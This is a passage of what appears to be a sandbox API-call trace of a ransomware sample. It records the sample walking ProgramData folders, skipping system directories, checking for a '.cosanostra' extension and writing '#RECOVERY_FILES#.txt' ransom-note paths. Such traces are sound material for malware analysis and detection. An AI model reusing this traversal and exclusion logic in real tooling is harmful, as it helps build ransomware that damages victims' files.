19 [0079.964] lstrcmpiW (lpString1="Views", lpString2="$Recycle.bin") returned 1 [0079.964] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.964] lstrcmpiW (lpString1="Views", lpString2="System Volume Information") returned 1 [0079.964] lstrlenW (lpString="System Volume Information") returned 25 [0079.964] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned 47 [0079.964] lstrcmpW (lpString1="Views", lpString2=".") returned 1 [0079.964] lstrcmpW (lpString1="Views", lpString2="..") returned 1 [0079.965] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*") returned 49 [0079.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.965] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.966] lstrlenW (lpString="Windows") returned 7 [0079.966] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.966] lstrlenW (lpString="Program Files") returned 13 [0079.966] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.966] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.966] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.966] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.966] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.966] lstrlenW (lpString="System Volume Information") returned 25 [0079.966] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\.") returned 49 [0079.966] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.966] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.966] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.966] lstrlenW (lpString="Windows") returned 7 [0079.966] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.966] lstrlenW (lpString="Program Files") returned 13 [0079.966] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.966] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.966] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.966] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.966] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.966] lstrlenW (lpString="System Volume Information") returned 25 [0079.966] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\..") returned 50 [0079.966] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.966] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.966] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.966] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="Windows") returned -1 [0079.966] lstrlenW (lpString="Windows") returned 7 [0079.966] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="Program Files") returned -1 [0079.966] lstrlenW (lpString="Program Files") returned 13 [0079.966] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="Program Files (x86)") returned -1 [0079.966] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.966] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="$Recycle.bin") returned 1 [0079.966] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.966] lstrcmpiW (lpString1="ApplicationViewsRootNode", lpString2="System Volume Information") returned -1 [0079.967] lstrlenW (lpString="System Volume Information") returned 25 [0079.967] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 72 [0079.967] lstrcmpW (lpString1="ApplicationViewsRootNode", lpString2=".") returned 1 [0079.967] lstrcmpW (lpString1="ApplicationViewsRootNode", lpString2="..") returned 1 [0079.967] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*") returned 74 [0079.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0079.968] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.968] lstrlenW (lpString="Windows") returned 7 [0079.968] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.968] lstrlenW (lpString="Program Files") returned 13 [0079.968] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.968] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.968] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.968] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.968] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.968] lstrlenW (lpString="System Volume Information") returned 25 [0079.968] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\.") returned 74 [0079.968] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.968] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.968] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.968] lstrlenW (lpString="Windows") returned 7 [0079.968] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.968] lstrlenW (lpString="Program Files") returned 13 [0079.968] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.968] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.968] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.968] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.968] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.968] lstrlenW (lpString="System Volume Information") returned 25 [0079.968] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\..") returned 75 [0079.968] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.968] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.968] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0079.968] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0079.968] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\#RECOVERY_FILES#.txt") returned 93 [0079.968] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\#RECOVERY_FILES#.txt") returned 93 [0079.968] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.968] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.969] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\#RECOVERY_FILES#.txt") returned 68 [0079.969] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\#RECOVERY_FILES#.txt") returned 68 [0079.969] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.969] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.970] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\#RECOVERY_FILES#.txt") returned 62 [0079.970] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\#RECOVERY_FILES#.txt") returned 62 [0079.970] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.970] lstrcmpiW (lpString1="IdentityCRL", lpString2="Windows") returned -1 [0079.970] lstrlenW (lpString="Windows") returned 7 [0079.970] lstrcmpiW (lpString1="IdentityCRL", lpString2="Program Files") returned -1 [0079.970] lstrlenW (lpString="Program Files") returned 13 [0079.970] lstrcmpiW (lpString1="IdentityCRL", lpString2="Program Files (x86)") returned -1 [0079.970] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.970] lstrcmpiW (lpString1="IdentityCRL", lpString2="$Recycle.bin") returned 1 [0079.970] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.970] lstrcmpiW (lpString1="IdentityCRL", lpString2="System Volume Information") returned -1 [0079.970] lstrlenW (lpString="System Volume Information") returned 25 [0079.970] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL") returned 40 [0079.970] lstrcmpW (lpString1="IdentityCRL", lpString2=".") returned 1 [0079.970] lstrcmpW (lpString1="IdentityCRL", lpString2="..") returned 1 [0079.970] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned 42 [0079.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.971] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.971] lstrlenW (lpString="Windows") returned 7 [0079.971] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.971] lstrlenW (lpString="Program Files") returned 13 [0079.971] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.971] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.971] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.971] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.971] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.971] lstrlenW (lpString="System Volume Information") returned 25 [0079.971] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\.") returned 42 [0079.971] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.971] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.971] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.971] lstrlenW (lpString="Windows") returned 7 [0079.971] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.971] lstrlenW (lpString="Program Files") returned 13 [0079.971] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.971] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.971] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.971] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.971] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.971] lstrlenW (lpString="System Volume Information") returned 25 [0079.971] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\..") returned 43 [0079.971] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.971] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.971] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.972] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="Windows") returned -1 [0079.972] lstrlenW (lpString="Windows") returned 7 [0079.972] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="Program Files") returned -1 [0079.972] lstrlenW (lpString="Program Files") returned 13 [0079.972] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="Program Files (x86)") returned -1 [0079.972] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.972] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="$Recycle.bin") returned 1 [0079.972] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.972] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="System Volume Information") returned -1 [0079.972] lstrlenW (lpString="System Volume Information") returned 25 [0079.972] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned 56 [0079.972] StrStrIW (lpFirst="ppcrlconfig.dll", lpSrch=".cosanostra") returned 0x0 [0079.972] lstrcmpW (lpString1="ppcrlconfig.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.972] lstrcmpW (lpString1="ppcrlconfig.dll", lpString2="_uninstalling_.png") returned 1 [0079.972] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned 56 [0079.972] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.972] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="Windows") returned -1 [0079.972] lstrlenW (lpString="Windows") returned 7 [0079.972] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="Program Files") returned -1 [0079.972] lstrlenW (lpString="Program Files") returned 13 [0079.972] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="Program Files (x86)") returned -1 [0079.972] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.972] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="$Recycle.bin") returned 1 [0079.972] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.972] lstrcmpiW (lpString1="ppcrlui.dll", lpString2="System Volume Information") returned -1 [0079.972] lstrlenW (lpString="System Volume Information") returned 25 [0079.972] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned 52 [0079.972] StrStrIW (lpFirst="ppcrlui.dll", lpSrch=".cosanostra") returned 0x0 [0079.972] lstrcmpW (lpString1="ppcrlui.dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.972] lstrcmpW (lpString1="ppcrlui.dll", lpString2="_uninstalling_.png") returned 1 [0079.972] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned 52 [0079.972] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.972] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.973] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\#RECOVERY_FILES#.txt") returned 61 [0079.973] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\#RECOVERY_FILES#.txt") returned 61 [0079.973] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.973] lstrcmpiW (lpString1="Media Player", lpString2="Windows") returned -1 [0079.973] lstrlenW (lpString="Windows") returned 7 [0079.973] lstrcmpiW (lpString1="Media Player", lpString2="Program Files") returned -1 [0079.973] lstrlenW (lpString="Program Files") returned 13 [0079.973] lstrcmpiW (lpString1="Media Player", lpString2="Program Files (x86)") returned -1 [0079.973] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.973] lstrcmpiW (lpString1="Media Player", lpString2="$Recycle.bin") returned 1 [0079.973] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.973] lstrcmpiW (lpString1="Media Player", lpString2="System Volume Information") returned -1 [0079.973] lstrlenW (lpString="System Volume Information") returned 25 [0079.973] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player") returned 41 [0079.973] lstrcmpW (lpString1="Media Player", lpString2=".") returned 1 [0079.973] lstrcmpW (lpString1="Media Player", lpString2="..") returned 1 [0079.974] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\*") returned 43 [0079.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.975] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.975] lstrlenW (lpString="Windows") returned 7 [0079.975] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.975] lstrlenW (lpString="Program Files") returned 13 [0079.975] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.975] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.975] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.975] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.975] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.975] lstrlenW (lpString="System Volume Information") returned 25 [0079.975] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\.") returned 43 [0079.975] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.975] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.975] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.975] lstrlenW (lpString="Windows") returned 7 [0079.975] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.975] lstrlenW (lpString="Program Files") returned 13 [0079.975] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.975] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.975] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.975] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.975] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.975] lstrlenW (lpString="System Volume Information") returned 25 [0079.975] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\..") returned 44 [0079.976] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.976] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.976] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.976] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.976] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\#RECOVERY_FILES#.txt") returned 62 [0079.976] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Media Player\\#RECOVERY_FILES#.txt") returned 62 [0079.976] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.976] lstrcmpiW (lpString1="MF", lpString2="Windows") returned -1 [0079.976] lstrlenW (lpString="Windows") returned 7 [0079.976] lstrcmpiW (lpString1="MF", lpString2="Program Files") returned -1 [0079.976] lstrlenW (lpString="Program Files") returned 13 [0079.976] lstrcmpiW (lpString1="MF", lpString2="Program Files (x86)") returned -1 [0079.976] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.976] lstrcmpiW (lpString1="MF", lpString2="$Recycle.bin") returned 1 [0079.976] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.976] lstrcmpiW (lpString1="MF", lpString2="System Volume Information") returned -1 [0079.976] lstrlenW (lpString="System Volume Information") returned 25 [0079.976] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF") returned 31 [0079.976] lstrcmpW (lpString1="MF", lpString2=".") returned 1 [0079.976] lstrcmpW (lpString1="MF", lpString2="..") returned 1 [0079.977] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\*") returned 33 [0079.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.977] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.977] lstrlenW (lpString="Windows") returned 7 [0079.977] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.978] lstrlenW (lpString="Program Files") returned 13 [0079.978] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.978] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.978] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.978] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.978] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.978] lstrlenW (lpString="System Volume Information") returned 25 [0079.978] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\.") returned 33 [0079.978] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.978] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.978] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.978] lstrlenW (lpString="Windows") returned 7 [0079.978] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.978] lstrlenW (lpString="Program Files") returned 13 [0079.978] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.978] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.978] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.978] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.978] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.978] lstrlenW (lpString="System Volume Information") returned 25 [0079.978] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\..") returned 34 [0079.978] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.978] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.978] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.978] lstrcmpiW (lpString1="Active.GRL", lpString2="Windows") returned -1 [0079.978] lstrlenW (lpString="Windows") returned 7 [0079.978] lstrcmpiW (lpString1="Active.GRL", lpString2="Program Files") returned -1 [0079.978] lstrlenW (lpString="Program Files") returned 13 [0079.979] lstrcmpiW (lpString1="Active.GRL", lpString2="Program Files (x86)") returned -1 [0079.979] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.979] lstrcmpiW (lpString1="Active.GRL", lpString2="$Recycle.bin") returned 1 [0079.979] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.979] lstrcmpiW (lpString1="Active.GRL", lpString2="System Volume Information") returned -1 [0079.979] lstrlenW (lpString="System Volume Information") returned 25 [0079.979] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned 42 [0079.979] StrStrIW (lpFirst="Active.GRL", lpSrch=".cosanostra") returned 0x0 [0079.979] lstrcmpW (lpString1="Active.GRL", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.979] lstrcmpW (lpString1="Active.GRL", lpString2="_uninstalling_.png") returned 1 [0079.979] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned 42 [0079.979] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.979] lstrcmpiW (lpString1="Pending.GRL", lpString2="Windows") returned -1 [0079.979] lstrlenW (lpString="Windows") returned 7 [0079.979] lstrcmpiW (lpString1="Pending.GRL", lpString2="Program Files") returned -1 [0079.979] lstrlenW (lpString="Program Files") returned 13 [0079.979] lstrcmpiW (lpString1="Pending.GRL", lpString2="Program Files (x86)") returned -1 [0079.979] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.979] lstrcmpiW (lpString1="Pending.GRL", lpString2="$Recycle.bin") returned 1 [0079.979] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.979] lstrcmpiW (lpString1="Pending.GRL", lpString2="System Volume Information") returned -1 [0079.979] lstrlenW (lpString="System Volume Information") returned 25 [0079.979] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned 43 [0079.980] StrStrIW (lpFirst="Pending.GRL", lpSrch=".cosanostra") returned 0x0 [0079.980] lstrcmpW (lpString1="Pending.GRL", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.980] lstrcmpW (lpString1="Pending.GRL", lpString2="_uninstalling_.png") returned 1 [0079.980] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned 43 [0079.980] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.980] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.980] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\#RECOVERY_FILES#.txt") returned 52 [0079.980] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\#RECOVERY_FILES#.txt") returned 52 [0079.981] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.981] lstrcmpiW (lpString1="MSDN", lpString2="Windows") returned -1 [0079.981] lstrlenW (lpString="Windows") returned 7 [0079.981] lstrcmpiW (lpString1="MSDN", lpString2="Program Files") returned -1 [0079.981] lstrlenW (lpString="Program Files") returned 13 [0079.981] lstrcmpiW (lpString1="MSDN", lpString2="Program Files (x86)") returned -1 [0079.981] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.981] lstrcmpiW (lpString1="MSDN", lpString2="$Recycle.bin") returned 1 [0079.981] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.981] lstrcmpiW (lpString1="MSDN", lpString2="System Volume Information") returned -1 [0079.981] lstrlenW (lpString="System Volume Information") returned 25 [0079.981] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN") returned 33 [0079.981] lstrcmpW (lpString1="MSDN", lpString2=".") returned 1 [0079.981] lstrcmpW (lpString1="MSDN", lpString2="..") returned 1 [0079.982] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\*") returned 35 [0079.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.983] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.983] lstrlenW (lpString="Windows") returned 7 [0079.983] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.983] lstrlenW (lpString="Program Files") returned 13 [0079.983] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.983] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.983] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.983] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.983] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.983] lstrlenW (lpString="System Volume Information") returned 25 [0079.983] wnsprintfW (in: 